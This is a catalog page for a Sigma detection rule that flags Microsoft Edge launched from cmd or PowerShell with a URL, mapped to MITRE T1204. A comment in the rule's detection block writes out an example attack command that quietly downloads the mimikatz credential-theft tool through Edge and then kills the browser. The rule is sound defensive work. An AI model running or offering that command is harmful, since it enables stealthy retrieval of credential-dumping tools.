Detection rules › Sigma
Edge abuse for payload download via console
Detects scenarios where an attacker attemptes to download a payload directly via console.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Execution | T1204 User Execution |
Event coverage
| Provider | Event | Title |
|---|---|---|
| Security-Auditing | Event ID 4688 | A new process has been created. |
Rule body yaml
title: Edge abuse for payload download via console
description: Detects scenarios where an attacker attemptes to download a payload directly via console.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0002-Execution/T1204-User%20execution
- https://twitter.com/mrd0x/status/1478116126005641220?t=i4vTR5m1ocBY6oHZfjdn1Q&s=09
tags:
- attack.execution
- attack.t1204
author: mdecrevoisier
status: experimental
logsource:
product: windows
category: process_creation
detection:
selection: # start /min msedge.exe https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip && timeout 10 && taskkill /IM "msedge.exe" /F
EventID: 4688
Version: 2 # parent process name is available starting Windows 10 / Server 2016 and higher
ParentProcessName|endswith:
- \cmd.exe
- \powershell.exe
- \pwsh.exe # PowerShell v6
- \powershell_ise.exe # Development GUI
NewProcessName|endswith: \msedge.exe
CommandLine|contains:
- 'http://'
- 'https://'
- 'ftp://'
- 'www.'
condition: selection
falsepositives:
- Shortcuts to website (--pin-url)
- Websites launched from console
level: high
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
EventID: 4688
Version: 2
ParentProcessName|endswith:
- \cmd.exe
- \powershell.exe
- \pwsh.exe
- \powershell_ise.exe
NewProcessName|endswith: \msedge.exe
CommandLine|contains:
- 'http://'
- 'https://'
- 'ftp://'
- 'www.'
Indicators
Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.
| Field | Kind | Values |
|---|---|---|
CommandLine | match |
|
NewProcessName | ends_with |
|
ParentProcessName | ends_with |
|
Version | eq |
|